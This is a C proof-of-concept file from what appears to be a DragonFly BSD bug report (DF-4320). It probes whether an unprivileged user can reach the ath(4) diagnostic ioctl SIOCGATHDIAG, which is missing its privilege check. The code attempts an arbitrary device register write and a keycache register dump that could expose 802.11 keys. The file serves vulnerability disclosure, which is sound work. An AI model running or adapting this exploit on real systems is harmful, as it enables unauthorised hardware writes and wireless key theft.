DF-4320 / poc.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 | /* * DF-4320 PoC โ unprivileged SIOCGATHDIAG reachability / privilege-gate probe. * * Target bug: sys/dev/netif/ath/ath/if_ath_ioctl.c:299-300 dispatches * SIOCGATHDIAG -> ath_ioctl_diag() with NO caps_priv_check_self() / * priv_check() (compare SIOCZATHSTATS at :288 which does check, and FreeBSD * upstream which gates SIOCGATHDIAG with PRIV_DRIVER). * * On a kernel built with `options ATH_DIAGAPI` and an ath(4) interface * present, this program โ as an ordinary user โ would reach * ath_hal_getdiagstate() and issue HAL_DIAG_SETREGS (33): an *arbitrary * device MMIO write* (struct HAL_REGWRITE {addr,value} pairs taken * verbatim from this unprivileged process), or HAL_DIAG_REGS (13): an * arbitrary device MMIO register dump (which includes the WEP/TKIP * keycache registers at 0x9800+ -> 802.11 key material disclosure). * * This probe proves two things on whatever host it runs on: * 1. whether the SIOCGATHDIAG case is compiled in (default X86_64_GENERIC * has no ATH_DIAGAPI -> ENOTTY), and * 2. that when a wlan interface answers, no privilege error (EPERM) is * ever returned โ the gate is absent in the source either way. * * Usage: ./poc [ifname ...] (default: probe every interface) */ #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <stdio.h> #include <string.h> #include <errno.h> #include <unistd.h> #include <ifaddrs.h> /* --- verbatim mirror of sys/dev/netif/ath/ath/if_athioctl.h:178-192 --- */ struct ath_diag { char ad_name[IFNAMSIZ]; /* if name, e.g. "ath0" */ u_int16_t ad_id; u_int16_t ad_in_size; caddr_t ad_in_data; caddr_t ad_out_data; u_int ad_out_size; }; #define ATH_DIAG_DYN 0x8000 #define ATH_DIAG_IN 0x4000 #define ATH_DIAG_ID 0x0fff #ifndef SIOCGATHDIAG #define SIOCGATHDIAG _IOWR('i', 138, struct ath_diag) #endif /* --- hal diag codes: sys/dev/netif/ath/ath_hal/ah_diagcodes.h --- */ #define HAL_DIAG_REGS 13 #define HAL_DIAG_SETREGS 33 /* HAL_REGWRITE: sys/dev/netif/ath/ath_hal/ah_internal.h:57-60 */ struct hal_regwrite { u_int32_t addr; u_int32_t value; }; int main(int argc, char **argv) { struct ifaddrs *ifa, *ifp; char seen[64][IFNAMSIZ]; int nseen = 0, s, i; struct hal_regwrite w[2]; /* HAL_DIAG_SETREGS payload: write value 0x11223344 to AR_STA_ID0 * (0x8000) โ harmless register choice for a probe; on a vulnerable * system this write would actually land on the device. */ w[0].addr = 0x8000; w[0].value = 0x11223344; w[1].addr = 0x8004; w[1].value = 0x55667788; s = socket(AF_INET, SOCK_DGRAM, 0); if (s < 0) { perror("socket"); return 1; } if (getifaddrs(&ifa) != 0) { perror("getifaddrs"); return 1; } printf("uid=%d euid=%d probing SIOCGATHDIAG (unprivileged)\n", getuid(), geteuid()); for (ifp = ifa; ifp; ifp = ifp->ifa_next) { int dup = 0; struct ath_diag ad; for (i = 0; i < nseen; i++) if (!strcmp(seen[i], ifp->ifa_name)) dup = 1; if (dup || ifp->ifa_name == NULL || nseen >= 64) continue; strlcpy(seen[nseen++], ifp->ifa_name, IFNAMSIZ); /* probe 1: HAL_DIAG_SETREGS with input data, no output */ memset(&ad, 0, sizeof(ad)); strlcpy(ad.ad_name, ifp->ifa_name, IFNAMSIZ); ad.ad_id = HAL_DIAG_SETREGS | ATH_DIAG_IN; ad.ad_in_size = sizeof(w); ad.ad_in_data = (caddr_t)w; ad.ad_out_size = 0; ad.ad_out_data = NULL; if (ioctl(s, SIOCGATHDIAG, &ad) == 0) printf("[%-8s] SETREGS : SUCCESS <-- arbitrary MMIO " "write accepted from uid=%d (VULNERABLE)\n", ifp->ifa_name, getuid()); else printf("[%-8s] SETREGS : errno=%d (%s)\n", ifp->ifa_name, errno, strerror(errno)); /* probe 2: HAL_DIAG_REGS dump request (2 ranges) */ { u_int32_t ranges[4] = { 0x9800, 0x9800+0x1f, /* keycache */ 0x8000, 0x8000 }; char out[32]; memset(&ad, 0, sizeof(ad)); strlcpy(ad.ad_name, ifp->ifa_name, IFNAMSIZ); ad.ad_id = HAL_DIAG_REGS | ATH_DIAG_IN | ATH_DIAG_DYN; ad.ad_in_size = sizeof(ranges); ad.ad_in_data = (caddr_t)ranges; ad.ad_out_size = sizeof(out); ad.ad_out_data = out; if (ioctl(s, SIOCGATHDIAG, &ad) == 0) printf("[%-8s] REGS-dump: SUCCESS <-- device " "register/keycache dump handed to uid=%d " "(VULNERABLE)\n", ifp->ifa_name, getuid()); else printf("[%-8s] REGS-dump: errno=%d (%s)\n", ifp->ifa_name, errno, strerror(errno)); } } printf("done. ENOTTY => SIOCGATHDIAG case not compiled (no " "ATH_DIAGAPI); EPERM would indicate a privilege gate (none in " "DragonFly source).\n"); return 0; } |